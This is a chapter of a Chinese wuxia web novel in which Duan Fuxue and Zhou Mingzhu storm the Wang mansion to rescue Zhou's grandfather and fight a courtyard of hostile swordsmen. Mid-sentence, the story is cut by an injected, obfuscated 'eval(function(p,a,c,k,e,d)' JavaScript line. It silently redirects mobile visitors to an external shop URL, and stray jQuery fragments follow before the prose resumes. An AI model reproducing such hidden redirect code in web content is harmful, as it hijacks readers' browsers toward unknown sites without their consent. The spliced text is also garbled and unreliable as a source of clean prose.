并州城王府某处的客房内。
在红色梨花木案后,坐着一位身穿浆洗得微微发白的青布长衫的老人。
他看似正值知天命的年纪,头发半白,却身形挺拔,神采奕奕。
他手中拿着一柄有些生锈的剪子,正极有耐心地修剪着面前油灯的灯芯。动作慢条斯理,甚至带着一丝老年人的迟缓。
在离老人三步之遥的阴影中,站着一位仿佛要融入黑暗的剑客。他就那么静静地立着,右臂习惯性地微曲,粗茧厚重的手掌从未离开过那柄漆黑的剑柄。
忽然,门外有什么动静,他瞬间消失在了黑暗中。
“老爷,是少爷进城了。”
过了片刻,一道声音划破寂静
只见老人浑浊的眼中闪过一抹精芒。
他看着面前隐隐跳动的灯芯,空气中有焰火噼里啪啦跳动的声音。
他缓缓放下了手中的剪刀,“那好,我们便去会会这主人家。”
并州城百姓皆知,这城内最有权势的并不是太守府,而是那王府。
在大魏最鼎盛的世家大族中,即便是分出的一只血脉,其尊贵程度也足矣让地方豪强望尘莫及。
段负雪站在王府前的汉白玉石狮前,算是明白今日午时周明烛看她异常仁慈眼神是何意味了。
她手颤颤巍巍地指了一下王府的大门,眼里充满了不可置信。
她虽知道周家祖孙二人身份不同寻常,但万万没想到的是周家祖父竟被这般大人物盯上了。
段负雪偷瞥了一眼王府偏门来往采买的丫鬟,发现就连她们身上穿的料子都是极好的。
又看了看自己身上的粗布青衫,忍不住想,她要去王府打杂会不会混的比现在好?
周明烛没理身旁人的异想天开,神情自若地朝那大门走了过去。
只见周明烛这边叩响了王府的大门,那边的人仿佛就像等候多时一般,立马出来迎接。
来者许是府中有些地位的人,身着一身暗花缎夹袍,腰间束着一条两指宽的玄色犀角带。
段负雪看着上面镶嵌着的羊脂玉不免有些吞了口口水。
那人似乎没料到来者只是周明烛二人,一时有些吃惊。
没想到不知周明烛对那人说了什么,那人便立刻极有礼数地将他们请了进来。
这王家不愧是世家之首,这府内并非是一览无余的奢华,而是曲径通幽的世家风骨。
府内不知从哪引了一潭活水,在诺大的前院辟出了百亩的观景湖,湖面景色秀致。再加上廊亭中的金丝楠木所散发出淡淡的木质清香,难免让人心旷神怡。
周明烛本想着身旁的姑娘会不会露出些许异样,但平常见到个好东西就到处嚷嚷的段负雪面对这诺大的王府时,竟有些格外平静。
一众人穿廊过院,被领到了主家的会客厅。那带路的小厮并未引他们见主家,只悄无声息地给他们沏了一壶热茶,随即身形一晃,便不见了人影。
周遭安静地连呼吸声都能听得见,段负雪轻轻拽了拽身旁之人的衣袖,见周明烛依旧一副气定神席的模样,不由得压低了声音,“周小公子,你祖父呢?”
周明烛环顾了一周这空旷死寂的厅堂,眸光闪动,心里已然有了决断。
“段姑娘,你可记得我们这次的买卖是什么?”
段负雪点了点头,她自然知道,替周明烛找到失踪的祖父嘛。
“可如今丝毫不见周大人的身影啊。”
周明烛勾起一抹散漫的微笑,眼底却淬了一层薄冰,“你不去找,怎么能看见呢?”
话音刚落,他募地反手一扣桌上的佩剑,大步流星地朝那后院走去。
这么…直接吗?段负雪心中一惊,提起长刀便跟了上去。
只见二人前脚刚迈出会客厅,不过瞬息之间,二十余位剑客自暗处掠出,竟将二人团团围住。
原本空档寂静的会客厅,现如今杀机四伏,人头攒动。
这二十余人皆清一色身穿着青衣鹤纹服,腰间齐整地悬挂一块铸有“王”字的铜牌。
来人手执长剑,那剑锋处冒着的寒意让人在这大太阳下竟打了个颤。
她不禁感叹道,王家真是大手笔,要知道,这年头,豢养一名剑客的银子近千两,寻常人家一两位都已经算得上有头有脸了。这王家一个分支都有二十多名的剑客,可见王家底蕴深厚。
这个场面可不好对付,她不由得看了看身旁的小少爷。
说到底,她并未见过周明烛拔剑,她印象中的周明烛,在危难关头,总有着一幅超出同龄人的冷静。
“周公子,这是你们剑客之间的事情,我一个刀客就不参合了,我的任务可只是帮你找到祖父。”
段负雪是不喜遇见剑客的,那柄剑总会让人想到曾经不堪的往事。
她也知道,此时虽状况严峻,但剑客若非自保,是极少伤人的,他们的目的大概只是将周明烛困在这里。
且不说周明烛到底需要不需要自己,自古以来,剑客之间的比试,刀客是没资格下场的。
只是周明烛此时却误会了段负雪话语中的含义,虽面上还保持镇静,心里却是苦笑了一声,本想着带上段负雪胜算还能多几分。可没想到身旁这位段姑娘,对明哲保身这四个字的了解可真是很是透彻啊。
他不欲多说什么,只好沉声应下了。
段负雪见状,拍了拍他的肩膀,安慰道,“那我先走一步,你放心等我找到周家祖父便回来找你。剑客之间是不会伤人的,你先撑一会儿。”
话音刚落,便没了身影。
不会伤人?周明烛似是想到了什么,嘴角处尽是嘲讽,那一直藏于剑鞘中的长剑也默默展露了头脚。
院中的人看着眼前忽然消失的女子,本想前去跟上,可又想了想她手中拿的大刀,便在嗤笑了一声,他们眼前的敌人,还是这位矜贵的小公子。
在不远的阁楼高处。
客房中那位的老者正与身旁衣着华丽但身材有些丰腴的中年男子默默注视着这一切。
“周阁老,在下素闻贵小公子在剑术方面颇有造诣,不知今日是否有幸见到公子出剑呢?”
那名男子轻抚自己的长苒,语气中带有几分挑衅。
周淮年看着一片青色中的那抹白,只是食指轻轻敲了敲桌面,淡淡开口,
“王义大人客气了,顽孙就算有天大的造诣在贵府这二十多名剑客面前也算不上什么。”
言下之意显而易见。
王义轻哼了一声,权当没听出这话中的暗含的讽刺。
“我说周大人这是何苦呢?我王某是哪里亏待了周大人,非要令这小公子直闯我这王府,倒显得我王府有些待客不周了。”
王义这话说的冠冕堂皇,倒显得周明烛有些不懂分寸。
周淮年笑了一声,并未开口。
倘若若不知京中有人正朝这处赶来,他们也不会拿命搏这一个出路。
周淮年端起身旁有些滚烫的茶盏,茶香四溢,蕴起的水雾遮住了老人眼中的深思。
“你便是周家祖父?”
一道清脆的女声在这寂静的阁楼中显得格外的突兀。
王义摸胡子的手一顿,有些不敢置信地看着这位面前不知从哪里冒出的女子。
那人看似身份普通,一袭青色布衣,但手中却握着一把令人不可忽视的长刀。
王义面色一惧,急忙对外大声呼唤,“人呢?来人啊!”
段负雪有些不明所以,用刀锋指了指庭院那个方向,一时有些好笑,“你的人不都在周公子那里嘛?”
王义气结,“我是说我的侍卫呢!”
哦!
段负雪随手一挥,“诺,都在这,我可没动他们半分。”
王义顺着段负雪手指的方向看过去,差点没两眼一翻,背过去。
家中那十几名侍卫四仰八叉地躺在身后的廊亭间,没有一丝动静。
这时的周淮年显然也有些吃惊,他倒是没想到周明烛竟找了一个身手这么好的小女娃。
难怪,今日的计划他如此笃定。
王义见此时身后没人,虽有些心惊,但他知
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17567127|204798||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
道只要周明烛从自家剑客手中一时走不去,这周淮年便还是要乖乖坐在这的。
此时面上可不能再显露什么,便又心定落座,对着眼前的段负雪缓缓开口道,“小姑娘,你以为打赢我府中的侍卫便能带他走了吗?我府中的精锐可全在那庭院中,我就不信仅凭他周明烛一人之力能在我众多王府剑客手下安然逃脱。”
“你以为周明烛走不了,你身后这位周大人便能走得了吗?”
段负雪表示同意地点了点,这人前半句话倒是说的不错,他府中精锐要是不在那处庭院,她又如何能摸到这里呢?
只是后半句话…
“那不是两人吗?”段负雪觉得有些好笑。
什么?王义瞪大了眼,在他们谈话间,那庭中不知何时又多了一位的黑衣剑客。
庭院中,周明烛靠着身旁的周临,不知说了什么,周临有些诧异地看了一眼身旁的小公子。
但他知道,自家小少爷自小便是个有主意的。
院中的人见到面前不知何时又多出来的人,一时有些恼意。
他们还真当这王府想来就来,想走就走的,
一时,剑意四起。
院中王家剑客对周家二人形成包围之势,电闪雷鸣间,打了个不可开交。
段负雪看着那小公子的身法,心里有些赞叹,静待时日,这小公子的剑术必将响彻整个大魏呀。
只是那对面的剑客,段负雪不由得皱起了眉头。
黑白两道身影在青色围攻中竟不显颓势,周小公子身若游龙,多次交锋时只是点到为止,并未攻其要害,只是那些青衣剑客竟招招致命。
“你们不是剑客吗?为何要如此?”周明烛看着面前面露杀意的剑客,言语间似是有些疑惑。
那人好像听到了什么好笑的事情,面上竟有些鄙夷,“小公子,你还是年轻,现在这个世道已经变了。”
听到这句话,周明烛不由得看向了远处阁楼上的那道青色身影,这句话她显然是听到了的
既然如此,这场游戏可要正式开始了。
周明烛拿起他的剑鞘,露出了一副不够置信的样子。
那些剑客只觉得找到了机会,抬手间竟直深深朝着周明烛眉间刺去,周明烛见状,连忙侧身躲避,不料,却被身后早已伺机蛰伏的剑客抓住了漏洞,手臂上活生生多了几道血痕。
那人见周明烛见血,心中有些得意,“这周家公子,不过如此。”
但他没看见周明烛身影不见了,“是嘛?”他耳边传来一声清冽的声音。
白影闪过,周明烛长剑终于出鞘,一剑封喉。
第一道身影正式倒下。
鲜血的味道刺激了每个人蛰伏在心中的杀戮,这场点到为止的游戏迎来了翻天覆地的变化。
三个、四个不停有人躺下。
周明烛一袭白衣上血迹点点,已分不清究竟是谁的。
在周明烛没有正式出鞘前,院中那名黑衣剑客未曾与那些人动真格。
但段负雪却明白。
那位叫做周叔的人,却比剑客更加危险,他的招式不讲究剑客的美观,却能刀刀见血。
他对剑的把控已经到了让人恐惧的精准。
他如同一道钟,站在那里,从始至终,没有人可以让他挪动半分,也没人能伤的了他。
她看着身旁有些正定自若的周淮年,明白了几分。
为何他只带两人就敢独自上京了。
随着院内倒下去的人越来越多,王义的脸色变得越来越苍白。
这里面可是有主家派来的人,要是都在他这里折了,他要怎么交差。
他不知对着何处喊了一声,“何先生,你还不出手吗?”
段负雪握着刀的手,一紧。
还有人?
只见远处一道身影徐徐出现在了众人面前。
那是一位头戴斗篷的男子。
虽没人看见他的容貌,但那人步伐强劲。
举手抬足之间,院中草木摇晃。
那是真正的剑意。